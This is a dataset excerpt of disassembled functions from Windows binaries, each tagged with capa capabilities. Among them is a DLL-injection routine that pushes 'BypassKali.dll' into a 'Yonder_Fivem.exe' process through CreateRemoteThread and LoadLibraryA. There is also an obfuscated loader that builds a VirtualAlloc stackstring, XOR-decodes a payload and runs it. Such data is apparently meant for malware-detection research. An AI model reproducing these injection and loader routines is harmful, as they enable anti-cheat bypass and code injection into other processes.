joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400110b9
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140014480
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x258
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x5e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x278]
mov rax, qword [0x140022040]
xor rax, rbp
mov qword [rbp + 0x228], rax
lea rcx, [0x1400280fb]
call fcn.140011587
xor edx, edx
mov ecx, 2
call fcn.1400112a3
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
je 0x140014536
mov dword [rbp + 0x30], 0x130
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.1400114ab
test eax, eax
je 0x14001452c
mov rdx, qword [rbp + 0x250]
lea rcx, [rbp + 0x5c]
call fcn.140011622
test eax, eax
jne 0x14001451b
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x38]
jmp 0x140014538
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.14001159b
test eax, eax
jne 0x1400144f8
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001de00]
call fcn.1400114ba
mov rax, rdi
mov rcx, qword [rbp + 0x228]
xor rcx, rbp
call fcn.1400112bc
lea rsp, [rbp + 0x238]
pop rdi
pop rbp
ret

Function at 0x14001132a
Capabilities:
Terminate process

Disassembly:
jmp 0x1400161c0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400113e3
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140014820
push rbp
push rdi
sub rsp, 0x428
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x9a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140022040]
xor rax, rbp
mov qword [rbp + 0x3d0], rax
lea rcx, [0x1400280fb]
call fcn.140011587
lea rax, str.BypassKali.dll
mov qword [rbp + 0x138], rax
lea rax, str.Yonder_Fivem.exe
mov qword [rbp + 0x158], rax
lea rax, [rbp + 0x378]
mov qword [rbp + 0x3b8], rax
mov rdx, qword [rbp + 0x138]
mov rcx, qword [rbp + 0x3b8]
call fcn.14001126c
mov qword [rbp + 0x3c8], rax
mov rcx, qword [rbp + 0x3c8]
call fcn.1400113a2
movzx eax, al
xor r9d, r9d
lea r8, [rbp + 0x10]
mov edx, 0x104
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov rcx, qword [rbp + 0x158]
call fcn.1400110b9
mov dword [rbp + 0x174], eax
mov r8d, dword [rbp + 0x174]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x198], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x104
xor edx, edx
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x1b8], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x104
lea r8, [rbp + 0x10]
mov rdx, qword [rbp + 0x1b8]
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x1b8]
mov qword [rsp + 0x20], rax
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x1d8], rax
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x1b8]
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001df00]
call fcn.1400114ba
mov eax, edi
mov rcx, qword [rbp + 0x3d0]
xor rcx, rbp
call fcn.1400112bc
lea rsp, [rbp + 0x3e8]
pop rdi
pop rbp
ret

Function at 0x1400113f7
Capabilities:
Parse pe header

Disassembly:
jmp 0x140017510
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140017530
xor al, al
jmp 0x1400175b1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140017543
xor al, al
jmp 0x1400175b1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001756d
xor al, al
jmp 0x1400175b1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140017581
xor al, al
jmp 0x1400175b1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140017593
xor al, al
jmp 0x1400175b1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400175af
xor al, al
jmp 0x1400175b1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400d436f
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 8
push r12
push r13
push r14
push r15
push rbx
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov r12, 3
mov r13, 1
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, r12
call fcn.1400d44e1
add rsp, 0x20
rol eax, 8
sub rsp, 0x20
mov rcx, rax
mov rdx, qword [rbp + 0x18]
call fcn.1400d4505
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
mov rdx, qword [rbp + 0x20]
mov r8, r13
call fcn.1400d44b6
add rsp, 0x20
inc r13
mov rbx, rax
mov r14, r12
sub r14, 3
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, r14
call fcn.1400d44e1
add rsp, 0x20
xor rax, rbx
inc r12
sub rsp, 0x20
mov rcx, rax
mov rdx, qword [rbp + 0x10]
mov r8, r12
call fcn.1400d448a
add rsp, 0x20
mov r15, 3
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, r12
call fcn.1400d44e1
add rsp, 0x20
mov rbx, rax
mov r14, r12
sub r14, 3
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, r14
call fcn.1400d44e1
add rsp, 0x20
xor rax, rbx
inc r12
sub rsp, 0x20
mov rcx, rax
mov rdx, qword [rbp + 0x10]
mov r8, r12
call fcn.1400d448a
add rsp, 0x20
dec r15
jne 0x1400d4421
cmp r12, 0x2b
jne 0x1400d439a
pop rbx
pop r15
pop r14
pop r13
pop r12
leave
ret

Function at 0x1400d4704
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
push r12
push rbx
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
mov rdx, qword [rbp + 0x10]
mov r12, 4
mov eax, dword [rdx]
bswap eax
mov rbx, qword [rbp + 0x18]
xlatb
mov cl, al
shr eax, 8
mov rbx, qword [rbp + 0x28]
xlatb
xor cl, al
shr eax, 8
mov rbx, qword [rbp + 0x20]
xlatb
xor cl, al
shr eax, 8
mov rbx, qword [rbp + 0x30]
xlatb
xor cl, al
mov dword [rbp - 0x10], ecx
mov eax, dword [rdx]
bswap eax
mov rbx, qword [rbp + 0x28]
xlatb
mov cl, al
shr eax, 8
mov rbx, qword [rbp + 0x20]
xlatb
xor cl, al
shr eax, 8
mov rbx, qword [rbp + 0x30]
xlatb
xor cl, al
shr eax, 8
mov rbx, qword [rbp + 0x18]
xlatb
xor cl, al
mov eax, dword [rbp - 0x10]
shl eax, 8
mov al, cl
mov dword [rbp - 0x10], eax
mov eax, dword [rdx]
bswap eax
mov rbx, qword [rbp + 0x20]
xlatb
mov cl, al
shr eax, 8
mov rbx, qword [rbp + 0x30]
xlatb
xor cl, al
shr eax, 8
mov rbx, qword [rbp + 0x18]
xlatb
xor cl, al
shr eax, 8
mov rbx, qword [rbp + 0x28]
xlatb
xor cl, al
mov eax, dword [rbp - 0x10]
shl eax, 8
mov al, cl
mov dword [rbp - 0x10], eax
mov eax, dword [rdx]
bswap eax
mov rbx, qword [rbp + 0x30]
xlatb
mov cl, al
shr eax, 8
mov rbx, qword [rbp + 0x18]
xlatb
xor cl, al
shr eax, 8
mov rbx, qword [rbp + 0x28]
xlatb
xor cl, al
shr eax, 8
mov rbx, qword [rbp + 0x20]
xlatb
xor cl, al
mov eax, dword [rbp - 0x10]
shl eax, 8
mov al, cl
bswap eax
mov dword [rdx], eax
add rdx, 4
dec r12
jne 0x1400d472a
pop rbx
pop r12
leave
ret
Function at 0x1400d5451
Capabilities:
Inspect section memory permissions

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x110
push rbx
push r12
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov rdx, qword [rbp + 0x10]
mov ebx, dword [rdx + 0x24]
and ebx, 0xe0000000
cmp ebx, 0xe0000000
jne 0x1400d5490
mov rax, 0x40
mov qword [rbp - 0x110], rax
jmp 0x1400d5501
mov ebx, dword [rdx + 0x24]
and ebx, 0x60000000
cmp ebx, 0x60000000
jne 0x1400d54b1
mov rax, 0x20
mov qword [rbp - 0x110], rax
jmp 0x1400d5501
mov ebx, dword [rdx + 0x24]
and ebx, 0xc0000000
cmp ebx, 0xc0000000
jne 0x1400d54d2
mov rax, 4
mov qword [rbp - 0x110], rax
jmp 0x1400d5501
mov ebx, dword [rdx + 0x24]
and ebx, 0x40000000
cmp ebx, 0x40000000
jne 0x1400d54f3
mov rax, 2
mov qword [rbp - 0x110], rax
jmp 0x1400d5501
mov rax, 1
mov qword [rbp - 0x110], rax
mov eax, dword [rdx + 0xc]
add rax, qword [rbp + 0x18]
mov ebx, dword [rdx + 8]
lea r12, [rbp - 0x108]
sub rsp, 0x20
mov rcx, rax
mov rdx, rbx
mov r8, qword [rbp - 0x110]
mov r9, r12
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
add rsp, 0x20
test rax, rax
je 0x1400d5549
mov rdx, qword [rbp + 0x10]
mov eax, dword [rdx + 0xc]
add rax, qword [rbp + 0x18]
mov rax, 1
jmp 0x1400d554c
sub rax, rax
pop r12
pop rbx
leave
ret

Function at 0x1400d5551
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
mov qword [rbp + 0x10], rcx
mov rcx, qword [rbp + 0x10]
mov ax, word [rcx]
cmp ax, 0x5a4d
jne 0x1400d557e
mov eax, dword [rcx + 0x3c]
add rcx, rax
mov eax, dword [rcx]
cmp eax, 0x4550
jne 0x1400d557e
add rcx, 4
mov rax, rcx
leave
ret
sub rax, rax
leave
ret

Function at 0x1400d55c6
Capabilities:
Terminate process

Disassembly:
sub rsp, 8
sub rsp, 0x20
call fcn.1400d55f7
add rsp, 0x20
test rax, rax
je 0x1400d55e2
add rsp, 8
jmp rax
sub rsp, 0x20
mov rcx, 0
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x140004844
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x7f0]
sub rsp, 0x8f0
mov rax, qword [0x14000f0e0]
xor rax, rsp
mov qword [rbp + 0x7e0], rax
mov rbx, rcx
mov dword [rsp + 0x50], edx
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
mov edi, eax
cmp dword [0x14000f108], 0xffffffff
jne 0x14000494e
cmp byte [0x1400100da], sil
mov r9d, 0x20019
mov dword [0x14000f108], esi
mov qword [rsp + 0x60], rsi
jne 0x1400048b4
cmp byte [0x14000fdc4], sil
mov eax, 0x20119
cmovne r9d, eax
lea rax, [rsp + 0x60]
xor r8d, r8d
lea rdx, str.SoftwarePoliciesMicrosoftWindowsInstaller
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000494e
mov rcx, qword [rsp + 0x60]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x70], rax
lea rdx, str.Debug
lea rax, [rsp + 0x58]
mov dword [rsp + 0x78], 0x28
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rbp - 0x80]
mov dword [rsp + 0x58], 0x50
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140004931
mov rax, qword [rsp + 0x70]
mov ecx, dword [rax]
and ecx, 3
mov dword [0x14000f108], ecx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rsp + 0x78], 0x28
jle 0x14000494e
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GlobalFree]
cmp dword [0x14000fc14], esi
je 0x140004a27
cmp dword [rsp + 0x50], esi
je 0x140004a27
cmp byte [0x1400100da], sil
mov eax, 0x20006
mov qword [rsp + 0x58], rsi
jne 0x140004986
cmp byte [0x14000fdc4], sil
mov ecx, 0x20106
cmovne eax, ecx
mov qword [rsp + 0x40], rsi
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x38], rcx
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionInstallerCA
jmp 0x14000499e
invalid
pop rdi
std
and byte [rbp - 0x696f381f], dl
xchg ecx, eax
jle 0x140004a9b
jbe 0x140004ab1
mov dh, 0
pop rsp
fidivr word [rsi]
test byte [r9 + 0x51], 0xe1
sub al, 0x56
and dword [rbx], edi
sub ah, dh
sub eax, 0xd125d0cc
sub dword [rsi + 0x77], ebx
in al, dx
and byte [rax + 0x7e], ah
jo 0x140004aa6
add ch, dl
and eax, 0xd80dbed2
jmp 0x141bfe2be
or esi, dword [rdi - 0x2afb7750]
mov eax, 0x83698402
xor al, byte [rdi - 7]
div qword [rdi - 0x2bc36f78]
mov dl, 0xa
mov bh, 0xb0
mov byte [rdx*2 + 0x71b46278], al
or dh, byte [rdi + 0x550488b0]
js 0x140004b1b
mov ah, 0x71
invalid
xchg edi, eax
mov eax, 0xd53b1b82
sub eax, esi
and ebp, edx
hlt
Function at 0x140008d0d
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140008d2b
je 0x140008d36
call 0x140008d85
mov bl, 0xc7
lahf
pop rsi
jne 0x140008d16
call 0x140008d2e
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140008d16
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x140008d64
je 0x140008da2
invalid
je 0x140008db3
jne 0x140008d16
lea rax, [0x140008c3c]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14000499d]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140008e54
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140008ead
je 0x140008eb3
call 0x140008ea4
fild qword [rdi - 0x7c]
jmp 0x174f45626
jne 0x140008e76
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140008e36
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x140008d85
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140008d2b
je 0x140008d36
call 0x140008d85
mov bl, 0xc7
lahf
pop rsi
jne 0x140008d16
call 0x140008d2e
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140008d16
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x140008d64
je 0x140008da2
invalid
je 0x140008db3
jne 0x140008d16
lea rax, [0x140008c3c]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14000499d]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140008e54
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140008ead
je 0x140008eb3
call 0x140008ea4
fild qword [rdi - 0x7c]
jmp 0x174f45626
jne 0x140008e76
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140008e36
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x140008d90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140008d2b
je 0x140008d36
call 0x140008d85
mov bl, 0xc7
lahf
pop rsi
jne 0x140008d16
call 0x140008d2e
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140008d16
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x140008d64
je 0x140008da2
invalid
je 0x140008db3
jne 0x140008d16
lea rax, [0x140008c3c]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14000499d]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140008e54
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140008ead
je 0x140008eb3
call 0x140008ea4
fild qword [rdi - 0x7c]
jmp 0x174f45626
jne 0x140008e76
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140008e36
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret

Function at 0x1400095cc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140009618
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140009610
cmp dword [rcx + 0x3c], edx
jl 0x140009610
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140009610
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140009618
mov rax, rdx
add rsp, 0x18
ret
Function at 0x18003c560
Capabilities:
Terminate process

Disassembly:
push rdi
sub rsp, 0x90
lea rdi, [rsp + 0x20]
mov ecx, 0x1c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x180562540]
xor rax, rsp
mov qword [rsp + 0x80], rax
lea rcx, [0x1805d4053]
call fcn.18024f670
mov eax, 0x7104
mov eax, eax
mov ecx, dword [0x1805857fc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movzx eax, byte [rcx + rax]
test eax, eax
jne 0x18003c5bf
call fcn.18024f9f0
mov eax, 0x10
mov eax, eax
mov ecx, dword [0x1805857fc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + rax + 8]
call fcn.180176420
mov qword [rsp + 0x60], rax
mov eax, 0x7104
mov eax, eax
mov ecx, dword [0x1805857fc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movzx eax, byte [rcx + rax]
test eax, eax
jne 0x18003c60f
call fcn.18024f9f0
mov eax, 0x10
mov eax, eax
mov ecx, dword [0x1805857fc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rax, qword [rcx + rax + 8]
mov qword [rsp + 0x68], rax
mov eax, 0x7104
mov eax, eax
mov ecx, dword [0x1805857fc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movzx eax, byte [rcx + rax]
test eax, eax
jne 0x18003c65a
call fcn.18024f9f0
mov eax, 0x10
mov eax, eax
mov ecx, dword [0x1805857fc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
mov dword [rsp + 0x70], eax
mov r9, qword [rsp + 0x60]
mov r8, qword [rsp + 0x68]
mov edx, dword [rsp + 0x70]
lea rcx, str.Fatal_error__0x_08X__at_0x_p__0x_p_._nA_minidump_has_been_written._n
call fcn.1801b3e90
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.180036e30
nop
call fcn.1801cb000
call fcn.18003c530
lea rcx, [rsp + 0x28]
call fcn.18003af00
mov r9d, 0x10
lea r8, str.Project_BO4_ERROR
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 0x7104
mov eax, eax
mov ecx, dword [0x1805857fc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movzx eax, byte [rcx + rax]
test eax, eax
jne 0x18003c6f6
call fcn.18024f9f0
mov eax, 0x10
mov eax, eax
mov ecx, dword [0x1805857fc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
mov dword [rsp + 0x74], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x78], rax
mov edx, dword [rsp + 0x74]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
lea rcx, [rsp + 0x28]
call fcn.180037b60
mov rcx, rsp
lea rdx, [0x1803f4010]
call fcn.18024f440
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.18024f8b0
add rsp, 0x90
pop rdi
ret
Function at 0x180072ec0
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
lea rcx, [0x1805d4070]
call fcn.18024f670
mov qword [rsp + 0x20], 0
jmp 0x180072ef8
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x20], rax
jae 0x180072f44
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x40]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
movabs rax, 0x100000001b3
mov rcx, qword [rsp + 0x40]
imul rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
jmp 0x180072eeb
mov rax, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x1800770b0
Capabilities:
Manipulate console buffer

Disassembly:
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x60
lea rdi, [rsp + 0x20]
mov ecx, 0x10
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x70]
mov rax, qword [0x180562540]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rcx, [0x1805d409f]
call fcn.18024f670
lea rax, [rsp + 0x28]
mov rdi, rax
xor eax, eax
mov ecx, 0x16
rep stosb byte [rdi], al
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea rdx, [rsp + 0x28]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx eax, word [rsp + 0x70]
mov word [rsp + 0x2c], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, dword [rsp + 0x2c]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov rcx, rsp
lea rdx, [0x180401ae0]
call fcn.18024f440
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.18024f8b0
add rsp, 0x60
pop rdi
ret

Function at 0x180078ca0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x60
lea rdi, [rsp + 0x30]
mov ecx, 0xc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
